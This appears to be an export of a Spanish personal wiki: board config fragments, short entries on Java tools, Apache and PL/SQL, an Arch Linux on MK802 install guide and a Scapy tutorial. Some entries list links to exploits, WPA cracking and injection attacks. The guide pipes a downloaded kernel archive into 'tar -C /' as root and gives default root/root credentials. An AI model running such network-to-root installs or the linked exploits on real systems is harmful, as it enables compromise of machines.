usb_port_type = 1
usb_detect_type = 0
usb_id_gpio =
usb_det_vbus_gpio =
usb_drv_vbus_gpio = port:PH06<1><0><default><0>
usb_host_init_state = 1

[usbc2]
usb_used = 1
usb_port_type = 1
usb_detect_type = 0
usb_id_gpio =
usb_det_vbus_gpio =
usb_drv_vbus_gpio = port:PH03<1><0><default><0>
usb_host_init_state = 1

[usb_feature]
vendor_id = 6353
mass_storage_id = 1
adb_id = 2
manufacturer_name = "USB Developer"
product_name = "Android"
serial_number = "20080411"

[msc_feature]
vendor_name = "USB 2.0"
product_name = "USB Flash Driver"
release = 100
luns = 3

[gsensor_para]
gsensor_used = 0
gsensor_name = "bma250"
gsensor_twi_id = 1
gsensor_twi_addr = 0x18
gsensor_int1 = port:PH00<6><1><default><default>
gsensor_int2 = port:PI10<6><1><default><default>

[gps_para]
gps_used = 0
gps_spi_id = 2
gps_spi_cs_num = 0
gps_lradc = 1
gps_clk = port:PI00<2><default><default><default>
gps_sign = port:PI01<2><default><default><default>
gps_mag = port:PI02<2><default><default><default>
gps_vcc_en = port:PC22<1><default><default><0>
gps_osc_en = port:PI14<1><default><default><0>
gps_rx_en = port:PI15<1><default><default><0>

[sdio_wifi_para]
sdio_wifi_used = 1
sdio_wifi_sdc_id = 3
sdio_wifi_mod_sel = 1
swl_n20_shdn = port:PH09<1><default><default><0>
swl_n20_host_wakeup = port:PH10<1><default><default><1>
swl_n20_vdd_en = port:PH11<1><default><default><0>
swl_n20_vcc_en = port:PH12<1><default><default><0>

[usb_wifi_para]
usb_wifi_used = 0
usb_wifi_usbc_num = 2

[3g_para]
3g_used = 0
3g_usbc_num = 2
3g_uart_num = 0
3g_pwr =
3g_wakeup =
3g_int =

[gy_para]
gy_used = 0
gy_twi_id = 1
gy_twi_addr = 0
gy_int1 = port:PH18<6><1><default><default>
gy_int2 = port:PH19<6><1><default><default>

[ls_para]
ls_used = 0
ls_twi_id = 1
ls_twi_addr = 0
ls_int = port:PH20<6><1><default><default>

[compass_para]
compass_used = 0
compass_twi_id = 1
compass_twi_addr = 0
compass_int = port:PI13<6><1><default><default>

[bt_para]
bt_used = 0
bt_uart_id = 2
bt_mod_type = 1

[i2s_para]
i2s_used = 0
i2s_channel = 2
i2s_mclk = port:PB05<2><1><default><default>
i2s_bclk = port:PB06<2><1><default><default>
i2s_lrclk = port:PB07<2><1><default><default>
i2s_dout0 = port:PB08<2><1><default><default>
i2s_dout1 =
i2s_dout2 =
i2s_dout3 =
i2s_din = port:PB12<2><1><default><default>

[spdif_para]
spdif_used = 0
spdif_mclk =
spdif_dout = port:PB13<4><1><default><default>
spdif_din =

[audio_para]
audio_used = 1
audio_pa_ctrl = port:PH15<1><default><default><0>

[ir_para]
ir_used = 1
ir0_rx = port:PB04<2><default><default><default>

[pmu_para]
pmu_used = 1
pmu_twi_addr = 52
pmu_twi_id = 0
pmu_irq_id = 0
pmu_battery_rdc = 200
pmu_battery_cap = 2600
pmu_init_chgcur = 300
pmu_earlysuspend_chgcur = 600
pmu_suspend_chgcur = 1000
pmu_resume_chgcur = 300
pmu_shutdown_chgcur = 1000
pmu_init_chgvol = 4200
pmu_init_chgend_rate = 15
pmu_init_chg_enabled = 1
pmu_init_adc_freq = 100
pmu_init_adc_freqc = 100
pmu_init_chg_pretime = 50
pmu_init_chg_csttime = 720
pmu_bat_para1 = 0
pmu_bat_para2 = 0
pmu_bat_para3 = 1
pmu_bat_para4 = 5
pmu_bat_para5 = 7
pmu_bat_para6 = 13
pmu_bat_para7 = 16
pmu_bat_para8 = 26
pmu_bat_para9 = 36
pmu_bat_para10 = 46
pmu_bat_para11 = 53
pmu_bat_para12 = 61
pmu_bat_para13 = 73
pmu_bat_para14 = 84
pmu_bat_para15 = 92
pmu_bat_para16 = 100
pmu_usbvol = 4000
pmu_usbcur = 0
pmu_usbvol_pc = 4000
pmu_usbcur_pc = 0
pmu_pwroff_vol = 3300
pmu_pwron_vol = 2900
pmu_pekoff_time = 6000
pmu_pekoff_en = 1
pmu_peklong_time = 1500
pmu_pekon_time = 1000
pmu_pwrok_time = 64
pmu_pwrnoe_time = 2000
pmu_intotp_en = 1
pmu_used2 = 0
pmu_adpdet = port:PH02<0><default><default><default>
pmu_init_chgcur2 = 400
pmu_earlysuspend_chgcur2 = 600
pmu_suspend_chgcur2 = 1200
pmu_resume_chgcur2 = 400
pmu_shutdown_chgcur2 = 1200
pmu_suspendpwroff_vol = 3500
pmu_batdeten = 1

[recovery_key]
key_min = 4
key_max = 6
}}}

Ant es una herramienta de construcción de aplicaciones [[Java]] que utiliza ficheros de configuración de tipo [[XML]].

Equivale al [[Make]] de [[C]] y es un estandar de facto en el mundo de [[Java]].

Más información:
* http://es.wikipedia.org/wiki/Apache_Ant
* http://ant.apache.org/
<<showtoc>>
! Descripción
<part descripcion>
El análisis matemático es la rama que estudia las funciones matemáticas. Estudia conceptos como la continuidad, la integración y la diferenciabilidad.
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la wikipedia: http://es.wikipedia.org/wiki/An%C3%A1lisis_matem%C3%A1tico
* Categoría de artículos de la wikipedia: http://es.wikipedia.org/wiki/Categor%C3%ADa:An%C3%A1lisis_matem%C3%A1tico

!! Artículos y cursos
* Introducción al análisis: http://soko.com.ar/matem/matematica/introduccion.htm
* Polinomios: http://soko.com.ar/matem/matematica/polinomio.htm
* Función lineal: http://soko.com.ar/matem/matematica/func_lineal.htm
* Función cuadrática: http://soko.com.ar/matem/matematica/func_cuad.htm
* Análisis de función cuadrática: http://soko.com.ar/matem/matematica/func_cuad_analisis.htm
* Análisis de polinomio: http://soko.com.ar/matem/matematica/polinomio_analisis.htm
* Cónicas y cuadráticas: http://soko.com.ar/matem/matematica/conicas.htm
* Función homográfica: http://soko.com.ar/matem/matematica/func_homog.htm
* Logaritmos: http://soko.com.ar/matem/matematica/logaritmos.htm
* Función trigonométrica: http://soko.com.ar/matem/matematica/func_trig.htm
* Resolución de ecuaciones: http://soko.com.ar/matem/matematica/ecuaciones.htm
* Combinatoria: http://soko.com.ar/matem/matematica/calculo_combinatorio.htm
* Límites de funciones I: http://soko.com.ar/matem/matematica/limite.htm
* Límites de funciones II: http://soko.com.ar/matem/matematica/limite_1.htm
* Continuidad: http://soko.com.ar/matem/matematica/continuidad.htm
* Derivadas: http://soko.com.ar/matem/matematica/derivada.htm
* Reglas de derivación: http://soko.com.ar/matem/matematica/derivada_por_def.htm
* Polinomio de Taylor: http://soko.com.ar/matem/matematica/polinomio_taylor.htm
* Reglas de derivación: http://platea.pntic.mec.es/anunezca/ayudas/reglas_derivadas/regla_derivadas.htm
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
!Descripción
<part descripcion>
El famoso servidor web Apache (también conocido como {{{httpd}}} en entornos [[*NIX]]).
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: https://secure.wikimedia.org/wikipedia/en/wiki/Apache_HTTP_Server
* Página principal: http://httpd.apache.org/

!! Documentación
* Cómo crear Virtual Hosts: http://es.debugmodeon.com/articulo/virtual-host-servicios-virtuales-en-nuestro-pc-localhost
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
!Descripción
<part descripcion>
Recopilación de aparatos electrónicos diversos
</part>
! Enlaces
<part enlaces>
!! General
* Teléfono antiguo (heraldo de pared): http://clawgrip.blogspot.com/2005/07/heraldo.html
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
Hay muchas pero poco confiables y muy limitadas. Realizar una aplicación sencilla que genere los siguientes datos aleatorios:
* Cadenas de texto: longitud fija, textos, nombres, reglas complejas, tipos de caracteres
* Contraseñas: tamaño fijo con ciertos caracteres y posibilidad de generar en MD5 o SHA1 y además en BASE64
* Números aleatorios: especificando mínimo y máximo y pudiendo producirlos en distintas bases (2, 8, 10, 16, 256)
* Tiradas de dados 
* Tiradas de datos complejas (2D8)
* Elegir al azar de una lista
* Más cosas que salgan en http://random.org
! Introducción
El objetivo es conseguir hacer funcionar Arch Linux en el [[AK802]] y similares (MK802). Se intenta hacer de la forma más sencilla y sin tener que utilizar un crosscompiler.

!! Creación de la tarjeta base
Lo primero es crear una tarjeta micro SD arrancable con el sistema base. Para ello se ha seguido la guía de [[esta página|http://andre.blaatschaap.be/tag/cubieboard/]], sustituyendo las referencias a cubieboard por mk802. El proceso completo es el siguiente:
1. Descargar el script de creación de la tarjeta:
{{{
# wget https://raw.github.com/linux-sunxi/sunxi-bsp/master/scripts/sunxi-media-create.sh
# chmod a+x sunxi-media-create.sh
}}}
2. Descargar el pack hardware para mk802:
{{{
# wget http://dl.linux-sunxi.org/amery/sunxi-3.0/latest/mk802ii_hwpack.tar.xz
}}}
3. Descargar el sistema base de Arch para arquitecturas ARM:
{{{
# wget http://archlinuxarm.org/os/ArchLinuxARM-sun4i-latest.tar.gz
}}}
4. Introducir una tarjeta microSD en el lector de tarjetas del ordenador y comprobar cual es su dirección
{{{
# fdisk -l
}}}
5. Ejecutar el script, cambiando la ruta a la tarjeta por la que corresponda:
{{{
#./sunxi-media-create.sh /dev/mmcblk0 mk802ii_hwpack.tar.xz ArchLinuxARM-sun4i-latest.tar.gz
}}}
6. Se advierte que el fichero de configuración de los módulos no se instala donde debe, por lo que habrá que montar la segunda partición de la tarjeta y hacer lo siguiente:
{{{
# cd <lugar_de_montaje>/etc
# mv etc/modules etc/modules-load.d/mk802.conf
}}}
La siguiente advertencia que figura en la web de referencia no es preciso seguirla, puesto que las versiones modernas de Arch tienen todas las librerías en /usr/lib, y un enlace simbólico /lib referenciando a /usr/lib. Esto hace que se produzca algún error al final de la ejecución del script, pero a mi me ha funcionado correctamente.
7. Hay que montar la partición boot y crear un fichero llamado {{{uEnv.txt}}} con el siguiente contenido:
{{{
boot_mmc=fatload mmc 0 0x43000000 ${fexfile}; fatload mmc 0 0x48000000 ${kernel}; bootm 0x48000000
extraargs=rootwait disp.screen0_output_type=3 disp.screen0_output_mode=1280x720p60
fexfile=script.bin
init=/usr/lib/systemd/systemd
}}}
8. Sincronizar los cambios con un {{{sync}}}, extraer la tarjeta, introducirla en el [[AK802]] e iniciarlo

Siguiendo estos pasos, al introducir la tarjeta en el [[AK802]] ha arrancado sin problema, mostrando al cado de unos segundos una pantalla de login.

Las credenciales de acceso son {{{root}}}/{{{root}}}.

!! Configuración y mejora de la tarjeta base
!!! Internet
Con los pasos anteriores se obtiene una tarjeta con un sistema Arch mínimo, pero todavía le falta un poco de trabajo para resultar útil. Lo primero que hay que hacer es obtener conexión a internet para actualizar los paquetes.

Un bug que he encontrado en el sistema base de Arch es que no tiene instalado el paquete {{{dialog}}}, necesario para usar wifi-menu. Para instalarlo, he usado una microSD con un sistema similar y funcional (Linaro), he metido la tarjeta con Arch y he hecho [[chroot|Jaula chroot]] dentro de la segunda partición de la tarjeta. Una vez dentro, he aprovechado para actualizar todo el sistema y después instalar los paquetes {{{dialog}}} y {{{wireless_tools}}} y {{{yaourt}}}
{{{
# pacman -Syu
# pacman -S dialog wireless_tools yaourt
# sync
# exit
}}}
Una vez instalado todo y salido del chroot, he apagado el dispositivo, y vuelto a introducir la tarmeta con Arch. Ahora se puede usar wifi-menu para configurar la red y continuar con la instalación.

En general, recomiendo seguir la guía de instalación en [[este punto|https://wiki.archlinux.org/index.php/Beginners%27_Guide#Locale]], ignorando la sección de instalación y configuración del bootloader (¡no instalar ni grub ni ningún otro! no funcionan con ARM y ya está instalado uboot).

!!! Kernel
El kernel que viene por derecto con el kit hardware tiene algunos fallos y limitaciones. Por ejemplo, hay problemas con el reloj interno y no hay framebuffer. He utilizado el kernel distribuido por Cray.Ze.Ape  en esta página: https://www.miniand.com/forums/forums/development/topics/new-gentoo-based-image-for-mk802ii

Para instalarlo hay que hacer lo siguiente:
1. Instalar {{{links}}}:
{{{
# pacman -S links
}}}
2. Hacer una copia de serguridad del kernel actual y los módulos por si algo saliera mal
{{{
# mount /dev/mmcblk0p1 /boot
# cp /boot/* /root
# cp -R /usr/lib/modules/ /root
}}}
3. Ejecutar el siguiente código para descargar automáticamente la actualización e instalarla a continuación:
{{{
# mount /boot > /dev/null 2>&1 ; links -source http://dl.miniand.com/cray-ze-ape/update-2013-01-10.tar.xz | tar -C / -Jxvf - > /dev/null ; sync
}}}
Nota: no se utiliza la última versión porque, tal como indica en la página principal, está roto el driver wifi.

Al reiniciar, el nuevo kernel ya estará activo.

!!! Entorno gráfico
Por ahora todo lo obtenido es un entorno en modo texto. A continuación se va a detallar como instalr LXDE. Se puede elegir cualquier otro entorno de escritorio, pero LXDE es exceptionalmente rápido y ligero, por lo que es muy recomendable para este sistema.

Lo primero es instalar los programas básicos:
{{{
# pacman -S xorg-server xorg-xinit xorg-server-utils xorg-twm xorg-xclock xterm ttf-dejavu
}}}

Los drivers gráficos vienen incluidos en el paquete de hardware, pero no se instalan en el lugar adecuado, por lo que hay que moverlos o hacer un enlace simbólico:
{{{
# ln -s /usr/lib/x11/lib* /usr/lib/xorg/modules/
}}}
De manera opcional y si se producen problemas al arrancar las X, se puede editar el fichero {{{/etc/X11/xorg.conf}}} con el siguiente contenido:
{{{
# X.Org X server configuration file for xfree86-video-mali   

 Section "Device"
        Identifier "Mali FBDEV"
        Driver  "mali"
        Option  "fbdev"            "/dev/fb0"
        Option  "DRI2"             "false"
        Option  "DRI2"             "false"
        Option  "DRI2_PAGE_FLIP"   "false"
        Option  "DRI2_WAIT_VSYNC"  "false"
EndSection

Section "Screen"
        Identifier      "Mali Screen"
        Device          "Mali FBDEV"
EndSection

Section "DRI"
        Mode 0666
EndSection
}}}

Lo siguiente es probar la configuración, ejecutando {{{startx}}}. Si el entorno gráfico arranca sin errores y muestra una pantalla gris con un cursor, ¡enhorabuena, ya tienes un entorno gráfico funcional!

Ahora habría que instalar LXDE siguiendo [[esta guía|https://wiki.archlinux.org/index.php/LXDE]] y, opcionalmente, un gestor de login gráfico, como [[SLiM|https://wiki.archlinux.org/index.php/SLiM]] o similares

!! Recomendaciones generales
!!! Configurar la fecha y la hora
Hay que cercionarse de que la fecha sea correcta o puede haber fallos al intentar conectar con páginas https (por ejemplo, al usar yaourt). Tanto wget como curl devolverán errores "misteriosos" al validar los certificados.

Para sincronizar la hora se puede usar [[ntp|https://wiki.archlinux.org/index.php/Network_Time_Protocol_daemon]].

!!! Compilar con yaourt
Yaourt es una herramienta magnífica para poder instalar paquetes cuyos binarios no están disponibles en Arch. Sólo hay que tener en cuenta que modificar la mayor parte de los PACKBUILD, para introducir la arquitectura 'armv7h' en el array de arquitecturas soportadas {{{arch}}}. Por ejemplo, esta línea:
{{{
arch=('x86_64' 'i686')
}}}
habría que sustituirla por esta:
{{{
arch=('x86_64' 'i686' 'armv7h')
}}}

! Referencias
* http://andre.blaatschaap.be/tag/cubieboard/
* https://www.miniand.com/forums/forums/2/topics/61
* https://www.miniand.com/forums/forums/development/topics/new-gentoo-based-image-for-mk802ii
* http://rhombus-tech.net/allwinner_a10/Compile_X11_driver_for_A10/
!Descripción
<part descripcion>
La plataforma Arduino es la platafoma de hardware de especificaciones abiertas más conocida en estos momentos. Es pequeña, barata, potente y está bien documentada, por lo que ha tenido mucho éxito.

Además, viene con un SDK muy completo y con muchos ejemplos. Además es muy modular y hay distintas implementaciones con más o menos características.

El lenguaje principal de desarrollo es [[Processing]].
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Arduino
** Página principal: http://www.arduino.cc/es/
** What is Arduino?: http://www.howtogeek.com/65963/what-is-arduino/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Introducción
Al contrario que en otros lenguajes, en [[PL/SQL]] no es sencillo crear arrays de tipos básicos. Por el contrario, los arrays se consideran "tipos complejos" y hay que declararlos antes de poder usarlos para definir tipos de variables. Esto significa que, sorprendentemente, no se puede definir una variable como un array de texto, si no que antes hay que definir un tipo básico que hará de array de varchar2.

En este texto se definirán arrays de texto, pero se pueden definir de cualquier tipo, incluido el {{{ROW_TYPE}}} de cualquier tabla o cursor.

Los tipos definidos sólo se aplican al usuario en el que se crean. Esto quiere decir, que para crear un array de texto antes hay que declarar el tipo "array_texto" en todas las bases de datos y usuarios donde se quiera utilizar. 

!Pasos a seguir para definir un array de texto
A continuación se muestra como declarar un array de cadenas de texto de 2000 caracteres como máximo. 
# {{multiLine{
''Declarar el tipo "{{{ARRAY_TEXTO}}}":''
<code sql>
CREATE OR REPLACE TYPE ARRAY_TEXTO IS TABLE OF VARCHAR2(2000);
</code>
}}}
# {{multiLine{
''Crear una variable de tipo "{{{ARRAY_TEXTO}}}":''
<code sql>
nombre_variable ARRAY_TEXTO;
</code>
}}}
# {{multiLine{
''Rellenar el array:''
<code sql>
nombre_variable(1) := 'valor1';
</code>
}}}
# {{multiLine{
''Extraer un valor:''
<code sql>
valor = nombre_variable(1); -- Devuelve el valor 'valor1'
</code>
}}}
# {{multiLine{
''Itera por todos los valores del array:''
<code sql>
FOR i IN 1 .. nombre_variable.COUNT LOOP
    ...
    dbms_output.put_line('nombre_variable('||i||') is '||nombre_variable(i));
    ...
END LOOP;
</code>
}}}

!Usar en [[Java]] procedimientos almacenados con variables de tipo ARRAY
Como los arrays en Oracle son siempre tipos especiales definidos por el usuario, antes de poder usarlos se necesita obtener la información necesaria de su estructura. Esto se puede hacer buscando la información por nombre del tipo, de la siguiente manera:
<code java>
ArrayDescriptor descriptor = ArrayDescriptor.createDescriptor("ARRAY_TEXTO", con);
</code>
Una vez obtenido el descriptor, se puede utilizar para convertir un array de [[Java]] "normal" en uno de [[PL/SQL]] :
<code java>
ArrayList<String> datos = new ArrayList<String>();
datos.add("dato 1");
datos.add("dato 2");
datos.add("dato N");
oracle.sql.ARRAY arrayTexto = new oracle.sql.ARRAY(descriptor, con, datos.toArray());
</code>
Nótese que el tipo tiene todas las letras en mayúsculas, cosa poco común en el mundo de [[Java]]. Una vez convertido se puede registrar como parámetro en el CallableStatement:
<code java>
CallableStatement cstm = connection.prepareCall(call);
cstm.setArray(paramNumber, (ARRAY)value);
</code>
!Descripción
<part descripcion>
Información sobre ~AspectJ, un lenguaje orientado a aspectos para la Java.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://en.wikipedia.org/wiki/AspectJ
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Ataques en redes locales cableadas o inalámbricas pero con asociadas a un AP.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Man in the middle (en inglés): http://en.wikipedia.org/wiki/Man-in-the-middle_attack
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Ataques mediante infección de ficheros no ejecutables, pero que llevan macros u otros tipos de código interpretable. Se distinguen dos tipos principales de ataques: ataques que producen [[DoS]] al interpretar un fichero mal formado, y ataques que utilizan un fichero no ejecutable como vector (camuflándose en el interior de ficheros a priori inocuos).

Ejemplos de estos ficheros serían los clásicos virus de macro en ficheros de Office, PDFs con javascript malicioso, etc.
</part>
! Enlaces
<part enlaces>
!! GIF como vector de ataque
* """GIF-JAR""", jar embebido en un GIF: http://www.pentester.es/2010/03/gifar-otro-steganograpy-trick.html

!! PDF como vector de ataque
* Análisis de PDFs mal formados: http://evilcodecave.blogspot.com/2010/05/analysis-of-malformed-malicious-pdf-cve.html

!! Ataques LFI (Local File Inclusion)
* Recopilación de ataques LFI: http://www.securityartwork.es/2010/12/22/recopilacion-local-file-inclusion-lfi/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Información sobre ataques a sistemas informáticos con la intención de dejarlos fuera de servicio, modificar su funcionalidad, suplantarlos u obtener datos protegidos.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Inseguridad_inform%C3%A1tica
** Ataques infromáticos en OWASP: http://www.owasp.org/index.php/Attacks

* ''BD vulnerabilidades:''
** Exploit DB: http://www.exploit-db.com/ 
** Módulos para metasploit: http://www.metasploit.com/framework/modules/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
! Introducción

! Referecias
http://elladodelmal.blogspot.com/2008/04/jugando-con-ldap-i-de-iii.html
http://elladodelmal.blogspot.com/2009/01/or-uno-igual-uno-en-ldap.html
http://elladodelmal.blogspot.com/2010/03/more-ldap-injection-tricks.html
<<showtoc>>
!Descripción
<part descripcion>
Los teléfonos móviles son cada día más inteligentes y están mejor conectados, por lo que cada día son también un objetivo más suculento para los atacantes
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki

!! Android
* Obtener un fichero (android < 2.3.4): http://www.exploit-db.com/exploits/18164/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Información sobre ataques que utilizan las páginas web como medio para llegar al usuario.
</part>
! Enlaces
<part enlaces>
!! Ataques a PHP
* Explotando PHP-CGI: http://www.pentester.es/2012/05/explotando-php-cgi.html
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Ataques a dispositivos no cableados, como el [[wifi]] o [[Bluetooth]]. En el mundo anglosajón se lo conoce como "wardriving" o "warwalking".
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Wardriving
* Ataques WPA por Maligno: http://elladodelmal.blogspot.com/2008/08/atacar-wpawpa2-psk-parte-i-de-iv.html
* Crackeo de WPA por Maligno: http://elladodelmal.blogspot.com/2009/01/crackear-wpawpa2-psk-i-de-ii.html
* Wardriving en Point Black: http://www.pointblanksecurity.com/wardriving-tools.php
* Wardrive.net: http://www.wardrive.net/wardriving/tools/
* Fallo en routers COMTREND: http://foro.seguridadwireless.net/comunicados-y-noticias/fallo-de-seguridad-en-routers-comtrend-full-disclosure/
* Breaking 802.11: http://es.scribd.com/doc/73364142/breaking80211-by-Aetsu

!! Aplicaciones
* Listado de Tech Faq: http://www.tech-faq.com/wi-fi-software-tools.html
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Análisis de riesgos e incidentes de seguridad informáticos. Dentro de esta categoría se engloba también al análisis forense, análisis de malware, análisis de riesgos, test de intrusión (pen test), etc.
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Auditor%C3%ADa_de_seguridad_de_sistemas_de_informaci%C3%B3n

!! Guías
* How to Get Started With Malware Analysis: http://blogs.sans.org/computer-forensics/2010/11/12/get-started-with-malware-analysis/
* Open Source Security Testing Methodology Manual (OSSTMM): http://www.isecom.org/osstmm/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
/***
|''Name:''|AutoRefreshPlugin|
|''Version:''|1.0.1 (2007-01-20)|
|''Type:''|plugin|
|''Source:''|http://tiddlywiki.abego-software.de/#AutoRefreshPlugin|
|''Author:''|Udo Borkowski (ub [at] abego-software [dot] de)|
|''Documentation:''|[[AutoRefreshPlugin Documentation|http://tiddlywiki.abego-software.de/#%5B%5BAutoRefreshPlugin%20Documentation%5D%5D]]|
|''Licence:''|[[BSD open source license (abego Software)|http://www.abego-software.de/legal/apl-v10.html]]|
|''~CoreVersion:''|2.1.3|
|''Browser:''|Firefox 1.5.0.9 or better; Internet Explorer 6.0|
A tiddler containing the {{{<<autoRefresh...>>}}} macro is automatically refreshed (re-painted) whenever a tiddler changes.
!Syntax
{{{
<<autoRefresh [observeTiddler: tiddler ...]>>
}}}
|{{{observeTiddler}}}|(optional) when specified the refresh will only happen when one of the tiddlers specified is changed.|
!Source Code
***/
//{{{

if (!window.abego) window.abego = {};

// autoRefresh Macro =============================================================
//
(function() {


var REFRESHER_NAME = "abego_onEveryChange";

var tiddlersToRefresh = {}; // A set holding the names of tiddlers to be refreshed

var onEveryChangeRefresher = function(e,changeList) {
	
	var tiddlerElem = story.findContainingTiddler(e);
	if (!tiddlerElem) return false;

	var title = tiddlerElem.getAttribute("tiddler");
	if (!title) return false;

	// if "observeTiddler" are specified we only refresh if one of the given 
	// tiddlers has changed.
	var observedTiddlers = e.getAttribute("observedTiddlers");
	if (observedTiddlers) {
		var a = observedTiddlers.readBracketedList();
		if (!changeList || !a.containsAny(changeList))
			return;
	}

	// Refresh the tiddler asynchronously. 
	// This way we can avoid repeated refreshes (e.g. when a tiddler is renamed)
	tiddlersToRefresh[title] = true;
	setTimeout(function() {
		// Refresh all tiddlers in tiddlersToRefresh
		for(var title in tiddlersToRefresh)
			story.refreshTiddler(title,null,true);

		// We have refreshed all pending tiddlers. Clear the set.
		tiddlersToRefresh = {};
	}, 0);

	return true;
}

config.refreshers[REFRESHER_NAME] = onEveryChangeRefresher;


config.macros.autoRefresh = {};

config.macros.autoRefresh.handler = function(place,macroName,params,wikifier,paramString,tiddler) {
    params = paramString.parseParams("observeTiddler",null,true,false,true); // allowEval, cascadeDefaults, names allowed

	var e = createTiddlyElement(place,"span");
	e.setAttribute("refresh",REFRESHER_NAME);
	var observedTiddlers = params[0]["observeTiddler"];
	if (observedTiddlers && observedTiddlers.length) {
		var s = "[["+observedTiddlers.join("]] [[")+"]]";
		e.setAttribute("observedTiddlers",s);
	}
};


})();

//}}}
A tiddler containing the {{{<<autoRefresh...>>}}} macro is automatically refreshed (re-painted) whenever a tiddler changes.

!Syntax
{{{
<<autoRefresh [observeTiddler: tiddler ...]>>
}}}
|{{{observeTiddler}}}|(optional) <<br>>when specified the refresh will only happen when one of the tiddlers specified is changed.<<br>>When no "observerTiddler" is specified every tiddler change triggers a repaint/refresh|

!Usage
You may add this macro to a tiddler T when the content displayed by T depends on other tiddlers, e.g. when using the ForEachTiddlerPlugin or the PartTiddlerPlugin.

!!Example 1: Keep forEachTiddler List up-to-date'
{{{
<<forEachTiddler where 'tiddler.title.startsWith("function")'>>
<<autoRefresh>>
}}}
I.e. the tiddler lists all tiddlers that start with "function" using the ForEachTiddlerPlugin.
 
By adding the {{{<<autoRefresh>>}}} the list is automatically updated whenever a tiddler is changed (e.g. when a new "function..." tiddler is added or an existing one is deleted).

!!Example 2: Always display most recent part content
The tiddler "Example 2" has this content:
{{{
!Topics
<<tiddler Summary/Topics>>
!Authors
<<tiddler Summary/Authors>>
<<autoRefresh observeTiddler: Summary>>
}}}
I.e. "Example 2" displays the text of the two parts "Topics" and "Authors" of the tiddler "Summary" (see PartTiddlerPlugin). 

To ensure always the latest content of these parts are displayed (even when the tiddler "Summary" is changed after tiddler "Example 2" is displayed) add {{{<<autoRefresh observeTiddler: Summary>>}}} to the tiddler. Now the tiddler "Example 2" is automatically repainted whenever the (observed) tiddler "Summary" changes.
! C. Autómatas

!! C.1. Introducción
Hasta ahora hemos visto aplicaciones muy potentes de Scapy, pero todas ellas tenían el mismo esquema, con todos los pasos o saltándose alguno:
# Construir o capturar paquetes
# Modificar los paquetes
# Enviar los paquetes
# Esperar respuesta
# Analizar la respuesta

Es un esquema demasiado simple para construir herramientas avanzadas, porque no se pueden tomar acciones distintas según el tipo de paquete capturado, no modificar los paquetes según reglas. Todas estas acciones tiene que realizarlas secuencialmente un humano.

Así que, ¿cual sería el siguiente paso lógico? Correcto, automatizar en base a reglas. Este objetivo se puede conseguir mediante autómatas de estados. Un autómata tiene diversos estados y reglas para pasar de uno a otro. Según el estado en el que esté, tratará la información recibida de manera distinta, y pasará a otros estados.

!! C.2. Morfología de un autómata
Los automatas son clases que descienden de {{{Automaton}}} y tienen diversos métodos decorados. Los métodos definen si un método es un estado, una condición o una acción.

!!! C.2.1. Estados
Los estados son métodos decorados con la función {{{ATMT.state}}}. Este decorador acepta tres parámetros opcionales que si son distintos de cero confieren propiedades especiales al estado:
* {{{initial}}}: Si está activado, el estado es un estado inicial
* {{{final}}}: Si está activado, el estado es un estado final
* {{{error}}}: Si está activado, el estado es un estado de error

!!! C.2.2. Condiciones
Las condiciones son métodos decorados con la función {{{ATMT.condition}}}. 
!!Aumentar el valor de una secuencia hasta un valor dado^^[[<editar>|$1]]^^
Ejemplo
<code sql>
DECLARE
    val INTEGER;
BEGIN
	val := 0;
	
	WHILE val <= 842 LOOP
		SELECT SANFARM.AF_SQ_PROD_ID.NEXTVAL INTO val FROM dual;
	END LOOP;
	DBMS_OUTPUT.PUT_LINE('Valor actual: ' ||VAL);
END;
</code>
!Descripción
<part descripcion>
